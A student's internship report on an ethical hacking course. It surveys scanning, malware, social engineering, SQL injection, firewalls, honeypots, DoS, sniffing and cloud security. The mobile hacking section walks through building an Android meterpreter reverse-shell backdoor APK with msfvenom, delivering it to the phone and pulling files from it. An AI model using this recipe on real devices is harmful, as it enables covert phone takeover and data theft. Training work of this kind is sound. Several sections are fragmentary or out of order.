Department of Computer Science Engineering Centurion University of Technology and Management VISAKHAPATNAM-530045 2020-21
Department of Computer Science Engineering Centurion University of Technology and Management VISAKHAPATNAM-530045 2020-21
VISAKHAPATNAM-530045
2020-21
Declaration
I B. Akshay Kumar student of Vlll Semester B.Tech in the department of Computer Science
Engineering DEPARTMENT, Centurion University of Technology and Management (CUTMAP)
declare that the internship entitled (Vulnerability Assessment & Penetration Testing and Web
Application Penetration Testing) has been carried out by me in Star Computers Visakhapatnam during
15th may, 2019 to 15th June, 2019. This report is being submitted for the fulfillment of my internship and
for record purposes.
Place: Signature
Date: ___________
ACKNOWLEDGEMENTS
With great solemnity and sincerity, I offer my profuse thanks to CUTM management for
providing all the resources to complete our Internship successfully.
I am extremely grateful to my Technical specialist Mr.Anand Kethavarapu and I wish to
express my whole hearted gratitude to my Internship guide.
I owe particular debt of gratitude to Prof A.Avinash, Head of Department of Computer Science
Engineering for providing all facilities required for the internship.
I thank Prof. Dr.P.S.VRamana Rao, Dean, CUTMAP for extending his outmost support and
cooperation in providing all the provisions for the successful completion of the project.
Regards,
B. Akshay Kumar
COMPANY INTRODUCTION:
Highlights
Teaching by 20 years Technically & Industry Experienced faculty
This class will immerse the student into an interactive environment where they will be shown
how to scan, test, hack and secure their own systems The lab intensive environment gives each
student in-depth knowledge and practical experience with the current essential security systems
Students will begin by understanding how perimeter defenses work and then be lead into
scanning and attacking their own networks, no real network is harmed. Students then learn how
intruders escalate privileges and what steps can be taken to secure a system Students will also
learn about intrusion Detection, Policy Creation Social Engineering DDoS Attacks, Buffer
Overflows and Virus Creation. When a student leaves this intensive 30 days class, they will have
hands on understanding and experience in Ethical Hacking.
Abstract
1. INTRODUCTION:
Cyber security is the process of protecting and recovering networks, devices and programs
from any type of cyber-attacks, as well as from the disruption or misdirection of the attacker.
It is the body of technologies and modification or unauthorized access. It is also referred to as
Information Security.
2. SCANNING NETWORKS:
Network Scanning is the procedure of identifying active hosts, ports and the services used by
the target application. Suppose you are an Ethical Hacker and want to find vulnerabilities in
the System, you need a point in the System that you can try to attack. Network Scanning for
Ethical Hacking is used to find out these points in the system that a Black Hat Hacker can use
to hack the network. And then the respective teams work on improving the security of the
network. Every Organization has a Network. This network could be an internal network
which consists of all the systems connected with each other, or it can be a network that’s
connected to the internet. In either case, to hack the network, you will have to find a
vulnerable point in the network that can be exploited. Network Scanning is used to find out
such points in the network.
3. SYSTEM HACKING:
System hacking is defined as the compromise of computer systems and software to access the
target computer and steal or misuse their sensitive information. Here the malicious hacker
exploits the weaknesses in a computer system or network to gain unauthorized access to its
data or take illegal advantage.
A hacker can hack the computer system because the hacker knows the actual work of
computer systems and software inside the system. For this, a hacker has information about
the systems, networking, and knowledge of other areas related to computer science. Anyone
who is using a computer and is connected to the internet is susceptible to malicious hackers'
threats. These online villains generally use viruses, malware, Trojans, worms, phishing
techniques, email spamming, social engineering, exploit operating system vulnerabilities, or
port vulnerabilities to access any victim's system.
Some worms spread as network packets; these directly penetrate the computer memory, and
the worm code is then activated. Worms use the following techniques to penetrate remote
computers and launch copies of themselves: social engineering (for example, an email
message suggesting the user opens an attached file), exploiting network configuration errors
(such as copying to a fully accessible disk), and exploiting loopholes in operating system and
application security.
Viruses can be divided in accordance with the method used to infect a computer:
File viruses
Boot sector viruses
Macro viruses
Script viruses
Any program within this subclass can have additional Trojan functions. It should also be
noted that many worms use more than one method in order to spread copies via networks.
The rules for classifying detected objects with multiple functions should be used to classify
these types of worms.
This subclass of malicious programs includes the following behaviours:
Email-Worm
IM-Worm
IRC-Worm
Net-Worm
P2P-Worm
Virus
Worm
5. SOCIAL ENGINEERING:
Social engineering is the act of tricking someone into divulging information or taking action,
usually through technology. The idea behind social engineering is to take advantage of a
potential victim’s natural tendencies and emotional reactions.
TYPES:
Phishing
Spear phishing
Vishing
Pretexting
Baiting
5.1. PHISHING:
Phishing is used to steal user data including login credentials and credit card numbers. It
occurs when an attacker is a trusted entity.
FIG: 5.1
FIG: 5.2
FIG: 5.3
FIG: 5.4
FIG: 5.5
6. HACKING WEBSERVERS:
A web server is a program that stores files (usually web pages) and makes them accessible
via the network or the internet. A web server requires both hardware and software. Attackers
usually target the exploits in the software to gain authorized entry to the server. Let’s look at
some of the common vulnerabilities that attackers take advantage of.
Default settings– These settings such as default user id and passwords can be easily
guessed by the attackers. Default settings might also allow performing certain tasks
such as running commands on the server which can be exploited.
Misconfiguration of operating systems and networks – certain configuration such
as allowing users to execute commands on the server can be dangerous if the user
does not have a good password.
Bugs in the operating system and web servers– discovered bugs in the operating
system or web server software can also be exploited to gain unauthorized access to the
system.
7. SQL INJECTION:
SQL injection is a set of SQL commands that are placed in a URL string or in data structures
in order to retrieve a response that we want from the databases that are connected with the
web applications. This type of attacks generally takes place on webpages developed using
PHP or ASP.NET.
An SQL injection attack can be done with the following intentions −
To dump the whole database of a system,
To modify the content of the databases, or
To perform different queries that are not allowed by the application.
This type of attack works when the applications don’t validate the inputs properly, before
passing them to an SQL statement. Injections are normally placed put in address bars, search
fields, or data fields.
The easiest way to detect if a web application is vulnerable to an SQL injection attack is to
use the " ‘ " character in a string and see if you get any error.
FIG: 7.1
Firewalls can be either software based or hardware devices that are used in the enforcement
of security policies. Both can filter traffic based on a set of rules as traffic passes through
them. Routers are not firewalls and should never be considered as such. Network based
firewalls will route traffic but this is only if the policy allows. Single hosts can be protected
from both incoming and outgoing traffic by use of a host based firewall. Regardless of
whether the firewall is software or hardware, all can create a troubleshooting nightmare
should they not be configured carefully or correctly. This is the keystone to a business
objective driven policy when it comes to firewall configuration.
Improvised configurations do not work well with firewalls. The configurations must be
carefully thought through and any impact caused by the configuration must be considered.
This should be done before the implementation of any firewall policies. Physical or social
engineering attacks cannot be protected against by any firewall. The most common
weaknesses in any firewall are either leaving them in their default configurations or by
careless implementation. Attackers are looking hard for these weaknesses and the best
defensive measure it to prevent them from finding them by changing the default settings or
by careful firewall configurations. Of equal importance is to understand both the benefits and
the limitations of firewalls and prevent being lulled into the false sense of security by
thinking their mere presence is equal to network security and protection.
Firewall Classes
Different types of firewalls exist each having their own niche in the market. Some products
are multi-functional providing features such as routing and Demilitarized Zones (DMZ).
These are the four common firewall classes:
Packet Filters
Circuit Level Gateways
Application Level Firewalls
Stateful Multilayer Inspection Firewalls
Packet Filters - Packet filters search for protocol information in the delivery and transport
layers. The idea behind this is to filter out the obvious items first. Since every packet is a
discreet single logical unit, packet filters only look at one delivery at a time. This method is
computationally cheap very efficient.
Circuit Level Gateways - Circuit Level Gateways are a unique set of firewalls that protect
the integrity of each end of the session, all without invading the confidentially of the data that
is being exchanged. It is a socket level proxy as it creates entirely new connections that are
based on the synchronizing of IP addresses and ports.
This method works by including a new translation of the sequence numbers that are tracked
by TCP to help the receiving host reassemble all of the segments of data. It also prevents
session hijacking and also helps obscure the true endpoints of any observed conversation.
Application Level Firewalls - Application Level Firewalls work on the Layer 7 level by
looking at the content of each network packet. This includes all client server requests and
information content that is delivered on the network. Application Level Firewalls are
computationally expensive as many factors ride far beyond simple a string pattern that must
be matched and incorporated. Factors also include context and policies such as user profiles
and time of day constraints. Once a policy violation is detected, there is a consideration as to
whether or not log the evidence in a forensically sound manner, to redirect the user to another
source or to log the alert allowing manual intervention in the determination as to what action
should be taken.
Honeypots
The Nature of Honeypots
Honeypots are designed to attract attackers with the idea that monitoring systems will allow
the attacker to be observed. Honeypots come in different scales with a honeypot being a host,
a honey net is a network and a honey token is a piece of monitored data. Before the
deployment of a honeypot, a company or organization needs to verify that they are not
violating the privacy rights of the attacker. Convert honeypots deployed by third party
projects rest in a different category.
The art to setting up a decoy victim is to make it appear legitimate. It must not stand out or
seem in any way unusual or the attacker will notice and avoid it. With this, honeypots are not
necessarily entirely exposed to risks, where a bastion host is used to describe one that is since
it is completely exposed and completely hardened because it is getting no help. Honeypots
cannot create additional risks or they could, and would be used against their attacker.
Honeypot Types
There are four different honeypot varieties that exist, all a matter of choice and a balance of
risk, accuracy and administrative distraction from the production hosts. These levels are:
Physical Honeypots
Virtual Honeypots
Low Interaction
High Interaction
Physical Honeypots - These types are considered physical tests, fully functional and heavily
monitored. They can be as simple as an unlocked bicycle leaning against a wall. Though it is
there and unsecured, this does not mean the owner has given any permissions for anyone to
take it.
Virtual Honeypots - Thus type is a sacrificial host setup on a network having real services
running on a real OS but only containing fictional information, if any at all. Though this
honeypots comes with great risk, it is the most convincing form of honeypot. This type of
honeypot will appear as a rogue infrastructure and cause internal time wasting should it not
be formalized in configuration, release and without change management processes in place.
This IDS may have been told to pass all traffic coming from the honeypot and this can be a
big mistake should the honeypot be compromised while remaining undetected. In this state, it
could be used as a weapon against the network.
Low Interaction - This form appears to an attacker as an access point. It only logs probing
activity, however, and since this host is of no production value, all access attempts are
considered suspicious.
High Interaction - This form can be of great risk. Being able to be fully compromised, it
must be separated from any network segment that has production value. The monitoring
capabilities of this type of honeypot facilitates the gathering of information that would not be
noticed by NIDS. By diligently monitoring the honeypot, detection of the larger plan of the
attacker is possible and if the attacker manages to evade the network-based intrusion
detection, hopefully the diversion will be discovered and attacked.
9. CRYTOGRAPHY:
Cryptography techniques
Cryptography is closely related to the disciplines of cryptology and cryptanalysis. It includes
techniques such as microdots, merging words with images, and other ways to hide
information in storage or transit. However, in today's computer-centric world, cryptography
is most often associated with scrambling plaintext (ordinary text, sometimes referred to as
clear text) into cipher text (a process called encryption), then back again (known as
decryption). Individuals who practice this field are known as cryptographers.
4. Authentication: the sender and receiver can confirm each other's identity and the
origin/destination of the information
10. MOBILE HACKING:
1. a) /etc/apache2/apache2.conf # add servername localhost
b) service postgresql start
c) service metasploit start
2. #msfpayload android/meterpreter/reverse_tcp lhost=<kali ip> O R
>/root/Desktop/backdoor.apk # backdoor.apk is generated
#msfvenom –p android/meterpreter/reverse_tcp LHOST=192.168.1.201 LPORT=4444 R >
/root/Desktop/backdoor.apk
3. Sending backdoor.apk to android mobile
a) Service apache2 start
b) cd /var/www
c) mkdir html
e) cp backdoor.apk /var/www/html
e) go to android device - launch browser- www.<kali-ip>/html and download
4. on Kali launch
# msfconsol
msf>use exploit/multi/handler
handler> set payload android/meterpreter/reverse_tcp
handler> set LHOST <ip>
handler> show options
handler> exploit -j z
5. On Android phone execute backdoor.apk program
6. On kali session 1 is opened
handler> session -i 1
meterpreter> sysinfo
meterpreter>ipconfig
meterpreter> pwd
meterpreter> ls cd /sdcard
Create a test directory and download files using
meterpreter> upload <filename>
meterpreter> download <filename>
Refers to the process of collecting as much as information as possible about the target system
to find ways to penetrate into the system. An Ethical hacker has to spend the majority of his
time in profiling an organization, gathering information about the host, network and people
related to the organization.
Information such as ip address, Who is records, DNS information, an operating system used,
employee email id, Phone numbers etc. is collected.
Foot printing helps to
Know Security Posture – The data gathered will help us to get an overview of the security
posture of the company such as details about the presence of a firewall, security
configurations of applications etc.
Reduce Attack Area – Can identify a specific range of systems and concentrate on particular
targets only. This will greatly reduce the number of systems we are focusing on.
Draw Network map – helps to draw a network map of the networks in the target
organization covering topology, trusted routers, presence of server and other information.
Information Gathering and getting to know the target systems is the first process in ethical
hacking. Reconnaissance is a set of processes and techniques (Footprinting, Scanning &
Enumeration) used to covertly discover and collect information about a target system.
RECONNAISSANCE:
Active Reconnaissance
In this process, you will directly interact with the computer system to gain information. This
information can be relevant and accurate. But there is a risk of getting detected if you are
planning active reconnaissance without permission. If you are detected, then system admin
can take severe action against you and trail your subsequent activities.
Passive Reconnaissance
In this process, you will not be directly connected to a computer system. This process is used
to gather essential information without ever interacting with the target systems.
12. ENUMERATION:
Enumeration is defined as the process of extracting user names, machine names, network
resources, shares and services from a system. In this phase, the attacker creates an active
connection to the system and performs directed queries to gain more information about the
target. The gathered information is used to identify the vulnerabilities or weak points in
system security and tries to exploit in the System gaining phase.
Routing tables
Machine names
1. Dropper: This is the code which installs malicious code into the target.
2. Malicious code: This is the code which exploits the system and gives the attacker
control over the target.
3. Wrapper: Wrapper wraps dropper, malicious code, genuine code into one exe
package.When victims try to download an infected file, dropper installs the malicious code
first and then the genuine program.
Purpose of Trojans
Steal information such as passwords, security codes, credit card information using
keyloggers
Use victim´s PC as a botnet to perform DoS, spamming and blasting email messages
Hypervisior Trojan
HTTP/HTTPS Trojan
FTP Trojans
VNC Trojans
Banking Trojans
Destructive Trojan
Botnet Trojan
Proxy Trojan
Countermeasures:
Always upgrade and keep firewalls, IDS and anti-virus updated with latest patches
and signatures
Periodically check startup programs and processes running to find any malicious files
running.
BACKDOOR:
14. SNIFFERS:
Sniffing is a process of monitoring and capturing all data packets passing through given
network. Sniffers are used by network/system administrator to monitor and troubleshoot
network traffic. Attackers use sniffers to capture data packets containing sensitive
information such as password, account information etc. Sniffers can be hardware or software
installed in the system. By placing a packet sniffer on a network in promiscuous mode, a
malicious intruder can capture and analyze all of the network traffic.
Sniffing in the switch is active sniffing. A switch is a point to point network device. The
switch regulates the flow of data between its ports by actively monitoring the MAC address
on each port, which helps it pass data only to its intended target. In order to capture the traffic
between target sniffers has to actively inject traffic into the LAN to enable sniffing of the
traffic. This can be done in various ways.
Passive Sniffing:
This is the process of sniffing through the hub. Any traffic that is passing through the non-
switched or unbridged network segment can be seen by all machines on that segment.
Sniffers operate at the data link layer of the network. Any data sent across the LAN is
actually sent to each and every machine connected to the LAN. This is called passive since
sniffers placed by the attackers passively wait for the data to be sent and capture them.
Denial of service attack (DOS) is an attack against computer or network which reduces,
restricts or prevents accessibility of its system resources to authorized users.
Distributed Denial of Service (DDoS) attack is an attack where multiple compromised
systems simultaneously attack a single system; thereby, causing a DOS attack for the users of
the target.
An attacker can select the Zombies randomly or topologically and once compromised, he sets
up a command and controller to control the zombies that attack the target. A bot is a
malicious software installed on compromised machines, this gives the attacker control over
the zombies. The network of Bots is called botnet.
Fig: 15.1
Types of DOS:
Volumetric attacks:
This is an Attack where the entire bandwidth of a network is consumed so the authorized
clients will not be able to get the resources. This is achieved BY flooding the network devices
like hubs or switches with numerous ICMP echo request/reply packets so the entire
bandwidth is consumed, and no other clients are able to connect with the target network.
Syn flooding:
Is another attack where an attacker compromises multiple zombies and simultaneously floods
the target with multiple SYN packets. The target will be overwhelmed by the SYN requests,
either it goes down or its performance is reduced drastically.
Fig: 15.2
Fragmentation attacks:
This is an attack that fights against the reassembling ability of the target. Numerous
fragmented packets are sent to the target, making it difficult for the target to reassemble them;
thereby, denying access to the valid clients.
The attacker sets up and tears down TCP connections and overwhelms the stable tables;
thereby, causing a DOS attack.
The attacker takes advantage of the programming errors in the application to cause the denial
of service attack. It is achieved by sending numerous application requests to the target to
exhaust the target’s resources so it will not be able to service any valid clients. A
programming error in the case of buffer overflow attack- if the memory allocated to a
variable is smaller than the requested, then it may lead to memory leakage or crashing the
entire application.
Fig: 15.3
Plashing:
This is done by causing a permanent damage to the system hardware by sending fraudulent
updates to the hardware thereby making them completely unusable. The only solution is to
re-install the hardware.
Counter Measures:
Perform proper activity profiling and ingress/egress filtering to filter out unwanted
traffic.
Add additional load balancers to absorb traffic and set up a throttle logic to control
traffic.
Web application provides an interface between the web server and the client to communicate.
Web pages are generated at the server, and browsers present them at the client side. The data
is passed between client and server in the form of HTML pages through HTTP protocol.
There are client-side vulnerabilities and server-side vulnerabilities which lead to a web
application attack.
Attacks:
Parameter Tampering:
This involves modifying parameters exchanged between client and server, which may lead to
XSS attack and SQL injection attack. Usually, HTML data goes as a name-value pair; if the
attacker is able to modify the values of the parameter during transfer, it may lead to many
other attacks.
Fig: 16.1
Unvalidated inputs:
Web applications accept user inputs, queries are constructed based on dynamic user input. If
these inputs are not properly sanitized they will open a way for the attacker to launch attacks
like XSS, SQL injection attack, Directory traversal attack, etc., identity theft, data theft are
dangerous outcomes of this attack.
This is a type of vulnerability where an attacker is able to access beyond the web root
directory, into the restricted directories on the web server. Then an attacker will be able to
access system files, run OS commands, access configuration information, etc.
Fig: 16.2
Access Point: The point where the mobile device, computers connect to the wireless
network.
SSID: Service Set Identifier identifies the access point, it is a human-readable text which
when broadcasted leads to the identification of an access point.
Fig: 17.1
Authentication:
Open Authentication:
Fig: 17.2
When a client wants to connect to an open access point he/she sends a probe request, and the
AP sends a probe response; the client then sends an authentication request. Upon receiving a
response, the client establishes an association with the AP.
Shared Key Authentication Process:
Here, the client sends a probe request, and the access point sends the probe response; then,
the client requests for an authentication request, the AP sends an authentication challenge to
the client. The client needs to send the shared key as authentication challenge response. AP,
then, verifies the client and authenticates him/her, who then establishes a connection with the
access point.
Fig: 17.3
Centralised Authentication:
Fig: 17.4
Fig: 18.1
19. PENTRATION TESTING:
Penetration testing is aimed at finding vulnerabilities, malicious content, flaws, and risks.
This is done to strengthen the organization’s security system to defend the IT infrastructure.
Penetration testing is an official procedure that can be deemed helpful and not a harmful
attempt. It forms part of an ethical hacking process where it specifically focuses only on
penetrating the information system. While it is helpful in improving cybersecurity strategies,
penetration testing should be performed regularly. Malicious content is built to discover weak
points in the applications, systems or programs and keep emerging and spreading in the
network. A regular pentest may not sort out all security concerns, but it significantly
minimizes the probability of a successful attack.
Cloud computing takes all the heavy lifting involved in crunching and processing data away
from the device you carry around or sit and work at. It also moves all of that work to huge
computer clusters far away in cyberspace. The Internet becomes the cloud, and voilà—your
data, work, and applications are available from any device with which you can connect to the
Internet, anywhere in the world.
Cloud computing can be both public and private. Public cloud services provide their services
over the Internet for a fee. Private cloud services, on the other hand, only provide services to
a certain number of people. These services are a system of networks that supply hosted
services. There is also a hybrid option, which combines elements of both the public and
private services.
Email
Storage, backup, and data retrieval
Creating and testing apps
Analyzing data
Audio and video streaming
Delivering software on demand
Cloud computing is still a fairly new service but is being used by a number of different
organizations from big corporations to small businesses, nonprofits to government agencies,
and even individual consumers.
Deployment Models
There are various types of clouds, each of which is different from the other. Public clouds
provide their services on servers and storage on the Internet. These are operated by third-
party companies, who handle and control all the hardware, software, and the general
infrastructure. Clients access services through accounts that can be accessed by just about
anyone.
Private clouds are reserved for specific clientele, usually one business or organization. The
firm's data service center may host the cloud computing service. Many private cloud
computing services are provided on a private network.
Hybrid clouds are, as the name implies, a combination of both public and private services.
This type of model allows the user more flexibility and helps optimize the user's
infrastructure and security.
Types of Cloud Computing
Cloud computing is not a single piece of technology like a microchip or a cellphone. Rather,
it's a system primarily comprised of three services: software-as-a-service (SaaS),
infrastructure-as-a-service (IaaS), and platform-as-a-service (PaaS).
The cloud structure allows individuals to save storage space on their desktops or laptops. It
also lets users upgrade software more quickly because software companies can offer their
products via the web rather than through more traditional, tangible methods involving discs
or flash drives. For example, Adobe customers can access applications in its Creative Cloud
through an Internet-based subscription. This allows users to download new versions and fixes
to their programs easily.
Security has always been a big concern with the cloud especially when it comes to sensitive
medical records and financial information. While regulations force cloud computing services
to shore up their security and compliance measures, it remains an ongoing issue. Encryption
protects vital information, but if that encryption key is lost, the data disappears.
Servers maintained by cloud computing companies may fall victim to natural disasters,
internal bugs, and power outages, too. The geographical reach of cloud computing cuts both
ways: A blackout in California could paralyze users in New York, and a firm in Texas could
lose its data if something causes its Maine-based provider to crash.
As with any technology, there is a learning curve for both employees and managers. But with
many individuals accessing and manipulating information through a single portal, inadvertent
mistakes can transfer across an entire system.